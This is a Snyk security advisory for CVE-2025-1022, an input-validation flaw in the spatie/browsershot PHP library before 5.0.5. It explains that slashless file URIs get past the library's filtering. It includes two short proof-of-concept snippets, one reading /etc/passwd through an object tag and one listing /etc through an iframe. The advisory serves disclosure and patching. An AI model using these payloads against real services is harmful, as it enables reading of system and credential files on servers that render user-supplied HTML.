Improper Input Validation Affecting spatie/browsershot package, versions <5.0.5
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Start learning- Snyk IDSNYK-PHP-SPATIEBROWSERSHOT-8496747
- published4 Feb 2025
- disclosed11 Dec 2024
- creditEe Yang Tee
Introduced: 11 Dec 2024
CVE-2025-1022 (opens in a new tab)How to fix?
Upgrade spatie/browsershot to version 5.0.5 or higher.
Overview
spatie/browsershot is a library for converting a webpage to an image or pdf using headless Chrome.
Affected versions of this package are vulnerable to Improper Input Validation in the setHtml function, invoked by Browsershot::html(), which can be bypassed by omitting the slashes in the file URI (e.g., file:../../../../etc/passwd). This is due to missing validations of the user input that should be blocking file URI schemes (e.g., file:// and file:/) in the HTML content.
PoC
Arbitrary file read:
require 'vendor/autoload.php';use Spatie\Browsershot\Browsershot;
$code = '<object data="file:../../../etc/passwd" width="500" height="400">'; Browsershot::html($code) ->save('html.pdf');
System directory listing:
require 'vendor/autoload.php';use Spatie\Browsershot\Browsershot;
$code = <<<HTML <iframe src="file:../../../../etc" width="500" height="400"></iframe> HTML; Browsershot::html($code) ->save('html.pdf');